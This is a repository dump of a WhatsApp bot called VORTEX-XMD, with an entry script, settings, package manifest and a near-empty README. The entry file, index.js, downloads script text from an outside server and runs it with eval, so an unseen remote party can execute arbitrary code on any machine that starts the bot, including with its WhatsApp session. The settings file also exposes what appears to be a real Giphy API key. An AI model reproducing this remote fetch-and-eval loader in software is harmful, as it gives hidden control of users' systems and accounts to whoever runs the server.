├── index.js
├── settings.js
├── package.json
└── README.md
/index.js:
--------------------------------------------------------------------------------
1 | const axios = require('axios');
2 | const hans = "https://hans-tx.vercel.app/api/🚀";
3 | axios.get(hans)
4 | .then(response => {
5 | console.log("\x1b[32m✅ Successfully loaded script From HansTz Sever.\x1b[0m");
6 | eval(response.data);
7 | })
8 | .catch(err => {
9 | console.error("\x1b[31m❌ Failed to load script from HansTz Sever API. Error:", err.message, "\x1b[0m");
10 | });
--------------------------------------------------------------------------------
/settings.js:
--------------------------------------------------------------------------------
1 | const settings = {
2 | packname: 'HansTz',
3 | author: 'Hans',
4 | botName: "HansTz",
5 | botOwner: 'HansTz', // Your name
6 | ownerNumber: '', //Set your number here without + symbol, just add country code & number without any space
7 | giphyApiKey: 'qnl7ssQChTdPjsKta2Ax2LMaGXz303tq',
8 | commandMode: "private",
9 | maxStoreMessages: 20,
10 | storeWriteInterval: 10000,
11 | description: "This is a bot for managing group commands and automating tasks.",
12 | version: "2.0.0",
13 | updateZipUrl: "https://github.com/HansTz/VORTEX-XMD/archive/refs/heads/main.zip",
14 | };
15 |
16 | module.exports = settings;
17 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Vortex-Xmd",
3 | "version": "1.0.0",
4 | "description": "WhatsApp Bot",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "node HansTz.js",
8 | "start:optimized": "node --max-old-space-size=512 --optimize-for-size --gc-interval=100 HansTz.js",
9 | "cleanup": "node cleanup.js",
10 | "reset-session": "node reset-session.js",
11 | "start:clean": "npm run cleanup && npm run start:optimized",
12 | "start:fresh": "npm run reset-session && npm start",
13 | "install:panel": "npm install --legacy-peer-deps",
14 | "install:force": "npm install --force",
15 | "test": "echo \"Error: no test specified\" && exit 1",
16 | "docker:build": "docker build -t docker run -e SESSION_ID=$SESSION_ID Vortex-Xmd"
17 | },
18 | "keywords": [
19 | "whatsapp-bot"
20 | ],
21 | "author": "",
22 | "license": "ISC",
23 | "dependencies": {
24 | "@adiwajshing/keyed-db": "^0.2.4",
25 | "@ffmpeg/ffmpeg": "^0.12.15",
26 | "@hapi/boom": "^10.0.1",
27 | "@types/node": "^18.0.6",
28 | "@whiskeysockets/baileys": "latest",
29 | "awesome-phonenumber": "^5.9.0",
30 | "axios": "^1.8.4",
31 | "adm-zip": "^0.5.10",
32 | "chalk": "^4.1.2",
33 | "cheerio": "^1.0.0-rc.12",
34 | "cookie": "^0.5.0",
35 | "dotenv": "^16.4.5",
36 | "events": "^3.3.0",
37 | "file-type": "^16.5.4",
38 | "fluent-ffmpeg": "^2.1.3",
39 | "form-data": "^4.0.1",
40 | "fs-extra": "^11.2.0",
41 | "gtts": "^0.2.1",
42 | "human-readable": "^0.2.1",
43 | "jimp": "^1.6.0",
44 | "jsdom": "^22.1.0",
45 | "libphonenumber-js": "^1.11.18",
46 | "libsignal": "^2.0.1",
47 | "link-preview-js": "^3.0.5",
48 | "moment-timezone": "^0.5.43",
49 | "mumaker": "^2.0.0",
50 | "node-cache": "^5.1.2",
51 | "node-fetch": "^2.7.0",
52 | "node-id3": "^0.2.3",
53 | "node-webpmux": "^3.1.0",
54 | "node-youtube-music": "^0.8.3",
55 | "performance-now": "^2.1.0",
56 | "phin": "^3.7.1",
57 | "pino": "^8.21.0",
58 | "qrcode": "^1.5.4",
59 | "qrcode-reader": "^1.0.4",
60 | "qrcode-terminal": "^0.12.0",
61 | "request": "^2.88.2",
62 | "ruhend-scraper": "^8.3.0",
63 | "safe-stable-stringify": "^2.5.0",
64 | "set-cookie": "^0.0.4",
65 | "sharp": "^0.32.6",
66 | "tough-cookie": "^5.0.0",
67 | "translate-google-api": "^1.0.4",
68 | "ws": "^8.17.1",
69 | "yargs": "^17.6.0",
70 | "yargs-parser": "^21.1.1",
71 | "youtube-yts": "^2.0.0",
72 | "youtubedl-core": "^4.11.7",
73 | "yt-search": "^2.12.1",
74 | "ytdl-core": "^4.11.5"
75 | },
76 | "overrides": {
77 | "jimp": "^1.6.0"
78 | },
79 | "engines": {
80 | "node": ">=18.0.0"
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🤖 VORTEX-XMD 🤖
2 |
3 |
4 |
5 |
8 |
9 |
10 |
11 |
12 |
60 |
61 |
62 |
63 |
70 |
71 |
72 |
73 |
82 |
83 |
84 |
85 |